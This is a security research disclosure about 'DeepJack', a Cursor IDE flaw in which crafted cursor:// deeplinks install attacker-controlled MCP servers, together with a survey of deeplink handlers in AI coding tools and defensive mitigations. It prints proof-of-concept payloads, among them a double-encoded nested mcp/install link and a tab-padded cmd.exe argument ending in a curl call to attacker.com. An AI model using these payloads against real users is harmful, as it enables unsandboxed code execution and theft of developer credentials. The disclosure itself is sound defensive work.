A crafted cursor:// link installs an attacker-controlled MCP server that executes unsandboxed commands under your account. The install dialog is supposed to be the safeguard, but it doesn’t reliably show the command being approved. The attack comes in two variants. Both hide the real command inside the dialog, one also disguises the link as a routine code review. Cursor’s own triage named the root cause in writing, closed the report as a duplicate, but the latest build is still vulnerable.
An attacker, posing as a teammate, sends you a link to review a pull request. You click it, Cursor opens, and a dialog asks you to install an MCP server with a command that looks routine. You approve it the way you approve a dozen prompts a day. The MCP server is attacker-controlled, and it now runs commands as you, with no sandbox between it and your files, your tokens, and your shell.
cursor:// deeplink can install a malicious MCP server in Cursor and run arbitrary, unsandboxed commands under the victim’s account after one click and one confirmation.& /c start curl attacker.com) off-screen. The user approves what looks like a short, harmless command.mcp/install URI inside a link that presents as a pr-review request, so the click feels like opening a code review rather than installing anything.Cursor registers the cursor:// protocol handler so links can drive the IDE: open a file, start a pull request review, install an MCP server. Each action maps to an endpoint. The pr-review endpoint takes a url parameter. The mcp/install endpoint takes a server name and a base64 config describing the command to run.
The install endpoint is the dangerous one, and a careful user would look twice at any link pointing at it. So the attack does not point at it directly, but disguises it.
Developers get “review requested” and “you’ve been added” notifications constantly from GitHub, Linear, Jira, and an attacker would just need to spoof one of those emails. The novelty here is that the payload arrives as a native IDE action instead of an attachment or a link to external websites.
We built an mcp/install URI whose config runs a command of our choosing. For a safe demonstration we had it launch the platform calculator, but in real attack scenarios this would be a malicious command, often dressed up to read like a routine setup or maintenance step. We then double-URL encoded the structural characters in that URI, the ?, the &, and the =, and dropped the whole encoded blob into the url parameter of a pr-review link:
cursor://anysphere.cursor-deeplink/pr-review?url=cursor%3A%2F%2Fanysphere.cursor-deeplink%2Fmcp%2Finstall%253Fname%253Dopen-calc%2526config%253D...The pr-review endpoint accepts a url parameter, and we place a second cursor:// deeplink inside it — one that targets mcp/install. Cursor parses the outer link once, sees a pr-review request, and does not recursively decode or revalidate the url parameter. The nested cursor:// URI rides through validation as an opaque string. Downstream, the decoded payload reaches the install handler.
The victim does get an install confirmation dialog, and it does say an MCP server named GitHub is about to be installed. So this is not a silent install. Two things still work against the user. They arrived through a link that read as a harmless code review request, so the prompt lands inside a workflow they already trust. The natural pretexts are the setup contexts developers already accept: “run this to set up the repo’s dev tooling”, “add our team’s linter MCP”, etc. Installing MCP servers from a link is a flow Cursor actively encourages, that’s why the deeplink functionality exists in the first place. And the command shown in that dialog is truncated off-screen, the same way the next section describes. They see a short, benign-looking command, and they approve.
We reported this as a bypass of the controls behind CVE-2025-54133, the earlier Cursor MCP & deeplinks issue (“Cursor’s MCP Install Deeplink Does Not Show Arguments in its User-Dialog”). The fix for this CVE was surfacing the command arguments, our research shows how to hide these arguments in plain sight.
Previous CursorJack research weaponized cursor://…/mcp/install links through phishing to reach command execution, however its proof-of-concept dialog shows the real command, and it points directly at mcp/install. DeepJack takes this approach further by hiding the arguments off screen, nesting a second mcp/install URI inside a pr-review url parameter that Cursor never recursively decodes, and it confirms the primitive still fires months after the CVE-2025-54133 fix was meant to surface arguments.
This is the root cause, and it sits in the dialog itself. The second link we built points straight at mcp/install, with no pr-review wrapper. The dialog appears as designed and renders the server name and the command for the user to check. The weakness is how much of that command the user can actually see.
The arguments field is a single-line text box. We padded the visible argument with a long run of tab characters, then appended the real payload:
{"command": "cmd.exe", "args": ["calc \t\t\t...\t & /c start curl attacker.com"]}In the dialog, the field shows calc. The tabs and the & /c start curl attacker.com tail scroll off the right edge, out of view. The victim reads calc, concludes they are about to run the calculator, and clicks approve. Cursor then executes cmd.exe with the full argument string, tabs and tail included, and fires the outbound request to the attacker’s host. In a real attack, the calculator would be replaced with another safe-looking, mundane string. The arbitrary malicious payload is in the trailing command.
We first observed this on Cursor 3.4.20 on Windows 11, and re-checked the latest build, 3.9.8, on the day of publication. It still works. The fixes are not exotic. Collapse or visibly render runs of whitespace and control characters in the dialog. Wrap the arguments field so the entire string is on screen, or show a length indicator with a “show full command” control. Any of these makes the hidden tail visible before the user commits.
Both attack variants exploit the same core weakness. The only thing between a normal user action and an unsandboxed process running with full privileges is one confirmation dialog, and that dialog does not reliably show the user the command they are approving. The encoding and the whitespace padding are just the technique to exploit this gap.
Earlier software ran into versions of this. “Do you want to open this .exe”, then ActiveX prompts, then Office macro warnings. The lesson those interfaces taught was hard. A confirmation step only protects the user when it shows, accurately and completely, what is about to happen. When the thing being approved is an arbitrary command and the dialog has limited room and fixed structure to display it, the user’s view is partial. Agentic coding tools are rebuilding that same prompt from scratch and asking it to render attacker-supplied commands safely.
The folder-trust dialogs in CLI coding agents have a related blind spot from a different angle. We covered that separately in our TrustFall research, where the trust prompt never mentions MCP at all. Different surface, same outcome: the consent screen does not convey what actually runs after the click.
Strip away the double-encoding and the whitespace padding and what’s left is not new. Argument injection through a custom URL-scheme handler is one of the oldest tricks in desktop security. It has named weakness classes (CWE-88, CWE-939), decades of prior art (the Windows ms-officecmd: drive-by RCE, and others), and platform guidance that predates the word “agentic”. That guidance already spelled out the fix: a protocol handler must treat every incoming parameter as hostile and confirm any dangerous action by showing the user what will actually happen. Cursor is shipping a broken half of the second rule and skipping the first. That failure class was solved, in writing, before most of these agents existed. Cursor is just one of many that never read it.
This vulnerability class, which we call DeepJack, has barely been studied in AI coding tools. The loud security work around these products focuses on prompt injection and MCP supply chains, while the OS-level URL handler each one registers on installation gets almost no scrutiny, is poorly documented by vendors and sits outside virtually everyone’s threat model.
Ask a security team whether they’ve audited or disabled the cursor://, claude-cli://, vscode://, or codex:// handlers on their developers’ machines. The common answer: they didn’t know those handlers were registered at all. A well-understood bug class is sitting on an attack surface no one is watching. And Cursor isn’t an outlier: nearly every mainstream coding agent registers a handler, and the majority expose a route that ends in install-or-execute.
| Agent | Scheme(s) | Capabilities exposed via deeplink | Path to code execution? |
|---|---|---|---|
| Cursor | cursor:// |
MCP install (base64 config), prompt, command, rule, pr-review, plugin, background-agent, settings, OAuth | Yes — MCP install executes the configured command (the dialog this post dissects) |
| Warp | warp://, warppreview:// |
open window/tab at a path; launch config (warp://launch/… → a YAML that can carry commands) |
Yes — a launch-config link can run commands (capability; no public exploit) |
| VS Code | vscode://, vscode-insiders:// |
open file/folder, extension URIs, auth callbacks, vscode://mcp/install |
Yes — mcp/install; legacy command:-URI |
| Windsurf / Devin | windsurf:// |
MCP registry one-click install (windsurf-mcp-registry?serverName=) |
Yes — MCP install (curated, admin-gated, final step is a user click) |
| Claude Code | claude-cli:// (+ vscode://anthropic.claude-code/open) |
open terminal session with prompt (q), working dir (cwd), repo |
Pre-fill by design, no execution. Argument injection reached silent RCE, patched in 2.1.118 |
| Claude Desktop | claude:// |
new chat, chat/project by id, Code, Cowork (prompt, folder, file) | No direct exec — working dir is confirmed before it’s adopted |
| GitHub Copilot app | ghapp:// (+ github-app://, gh://) |
repo/issue/PR/task, session/new (prompt, branch, mode), automations, plugin install | Install/session possible, but confirmed before acting |
| OpenAI Codex | codex:// |
threads/new (prompt, path, originUrl), settings, plugins, automations, skills | Pre-fill only — populates the composer, no auto-run |
| JetBrains IDEs | jetbrains:// (via Toolbox) |
git checkout (checkout.repo=), navigate to file:line:col; plugin JBProtocolCommand |
Clone / navigate; no documented exec route |
| Zed | zed:// |
CLI-registered handler, collaboration / channel links | No documented exec route |
| Cline / Roo Code / Continue.dev | host editor’s vscode:// / jetbrains:// |
extension OAuth / auth callbacks | Auth callbacks only |
Table compiled from a cross-agent survey. This is a fast-moving surface, and schemes and routes change per release. Several open-source agents (Open Interpreter, browser-use, Cua, Agent-S) register no URL handler at all.
Most deeplink attack vectors are not silent, zero-click superweapons. They still need a victim to click, and on the intended path the attack still meets an approve dialog. Measured as raw probability, the uplift over what an attacker can already do (a phishing page, a malicious extension, a curl | bash pasted into a terminal) is modest. What the deeplink adds is trust laundering: the malicious step arrives dressed as a native, routine action inside a tool the developer already trusts and clicks through a dozen times a day. A “review this PR” link and an “install this MCP” prompt are familiar and convincing enough, this is why a partial, hard-to-read confirmation dialog gets the approval.
The reason to care isn’t the odds. It’s the stakes on the other side of them. The attacked machine is a developer’s workstation: SSH keys, cloud credentials, source code, live session tokens, and a direct path into CI and production. A URL handler bug that would be a nuisance in a media player is, on this endpoint, a foothold in the software supply chain. That is the asymmetry that should set the priority. The marginal chance of any one link succeeding is small, but the blast radius when it does is close to total. Old class, unwatched surface, low likelihood, maximal consequence: that combination is the DeepJack story. This one Cursor dialog is just the instance that happens to prove it.
Cursor closed both of our reports as duplicates.
The disguised-link report was returned as already submitted by another researcher, with the standard note that the original cannot be shared. The whitespace-padding report was closed as a duplicate of an internal report, with triage stating plainly that the root cause is “the dialog’s single-line text box rendering that enables content to scroll out of view”, and that the original report for that root cause was filed on April 27, 2026.
Read that date against the calendar. The single-line-field issue has been acknowledged inside Cursor’s process for roughly two months, and on the latest build, 3.9.8, the primitive still works. Triage closed the ticket while the boundary stayed open. Whether that reflects deprioritization or genuine difficulty barely matters to anyone running Cursor on a machine with production credentials. If the safe rendering of “what this server will do” is too hard to ship reliably, then this dialog was never an adequate boundary in the first place. In our opinion, the remedy is not exotic — wrap the arguments field or render it multiline so the full string is on screen before the user commits.
You do not have to wait for a vendor fix to cut DeepJack exposure. The controls below assume Cursor and MCP are in your environment and that you cannot rely on the install dialog to show the full command.
Allowlist MCP servers through managed settings. Permit only specific, named servers fetched from their authentic source (hosted by your organization or the original maintainer) and block any user- or agent-initiated install of anything else. We covered this in depth in our TrustFall research.
Filter the handful of install/execute routes at the gateway. The table names them: the deeplinks that reach code are the MCP-install routes (cursor://…/mcp/install, vscode://mcp/install, Windsurf’s registry install) and Warp’s warp://launch/. Block or quarantine those specific URI patterns at the email and web gateway — the same delivery channels (Slack, GitHub, email) the PR-review bait rides in on.
Detection fallback: watch what the agent spawns. Alert on any new or changed MCP server definition. Note that generic host tooling is poorly positioned here — the real signal, what the user was shown versus what actually executed, needs in-path visibility into the agent’s MCP traffic.
Anyone shipping or deploying an agentic coding tool must ask whether one click and one confirmation should ever be the entire boundary between “I opened a link” and “this is now running as me.” Browsers and operating systems did not settle that with a better prompt. They added layers behind it: code signing, sandboxing, mark-of-the-web checks, so one mis-click was no longer the whole defense. Agentic coding tools have not done that yet.
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